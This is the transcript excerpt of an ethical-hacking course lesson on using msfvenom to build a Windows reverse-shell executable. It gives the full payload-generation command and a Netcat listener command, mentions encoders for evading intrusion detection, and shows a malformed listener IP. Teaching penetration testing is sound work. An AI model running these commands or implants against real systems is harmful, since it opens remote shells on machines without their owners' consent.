From the course: Kali Linux for Advanced Pen Testing and Ethical Hacking

Unlock this course with a free trial

Join today to access over 25,300 courses taught by industry experts.

Generating shellcode with msfvenom

Generating shellcode with msfvenom

- [Instructor] MSFvenom is an important tool which comes with Kali. It can be configured to generate shell code for a wide variety of scenarios, both binary and web based. Let's see how we create an executable that we can drop onto a Windows target to make a reverse callback to a waiting Netcat listener. We'll call it wince.exe. msfvenom -p, the payload is windows/shell_reverse_tcp LHOST=10.0.2.1.18 for our Kali listener and our LPORT, we'll set to 2222. We'll make it an exe format and put the output into wince.exe. Okay, we now need to find a way to get this uploaded into Windows and then to execute it. Let's set up our listener on Kali. nc -lvnp 2222. On Windows, all we need is for the implant to be run. Wince, and here we have a Windows shell. An useful option when creating a web shell is the encoder, which can be used to manipulate the generated code to avoid being blocked by intrusion detection systems when…

Contents